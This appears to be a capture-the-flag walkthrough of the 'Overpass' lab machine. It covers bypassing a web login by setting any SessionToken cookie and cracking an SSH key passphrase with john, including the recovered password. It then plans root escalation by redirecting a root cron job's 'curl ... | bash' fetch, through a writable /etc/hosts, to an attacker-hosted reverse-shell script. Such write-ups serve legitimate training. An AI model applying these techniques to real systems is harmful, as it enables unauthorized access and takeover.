The login.js looks suspicious, let's figure that out - the included javascript reveals that a SessionToken cookie will be created when the admin credentials are correct if not no SessionToken will be generated
statusOrCookie checks if the applied credentials is correct or not, if it's correct then it'll set a cookie named as SessionToken and redirect to /admin if not - Simply says Incorrect Credentials - Once we set the SessionToken with some random value
We are provided with a SSH key. Let’s save it locally to ssh.key and give it the appropriate privileges
When we try to login via the id_rsa, it asks for a passphrase - which confirms the key is protected - Let's crack it using ssh2john
unknown@kali:/data/tmp/files$ /data/src/john/run/ssh2john.py ssh.key > ssh.hash
unknown@kali:/data/tmp/files$ /data/src/john/run/john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (ssh.key)
1g 0:00:00:05 DONE (2020-08-19 16:47) 0.2000g/s 2868Kp/s 2868Kc/s 2868KC/sa6_123..*7¡Vamos!
Session completed.
Privilege Escalation
Analyzing the crontab shows that there is a script executed by root every minute
james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
james@overpass-prod:~$
The script is using curl to get the buildscript.sh from the local web server (overpass.thm points to 127.0.0.1 in /etc/hosts)
Hopefully checking the permission of the /etc/hosts file it is writable for james
So Let's think outside the box, how do we exploit this ?
The cron job is fetching a buildscript.sh file from the local server and the /etc/hosts is writable for us which means we can simply replace the 127.0.0.1 to our $IP and meanwhile create a /src directory in our home directory along with the buildscript.sh file which will contain the reverse shell and dont forget to start your python web server :)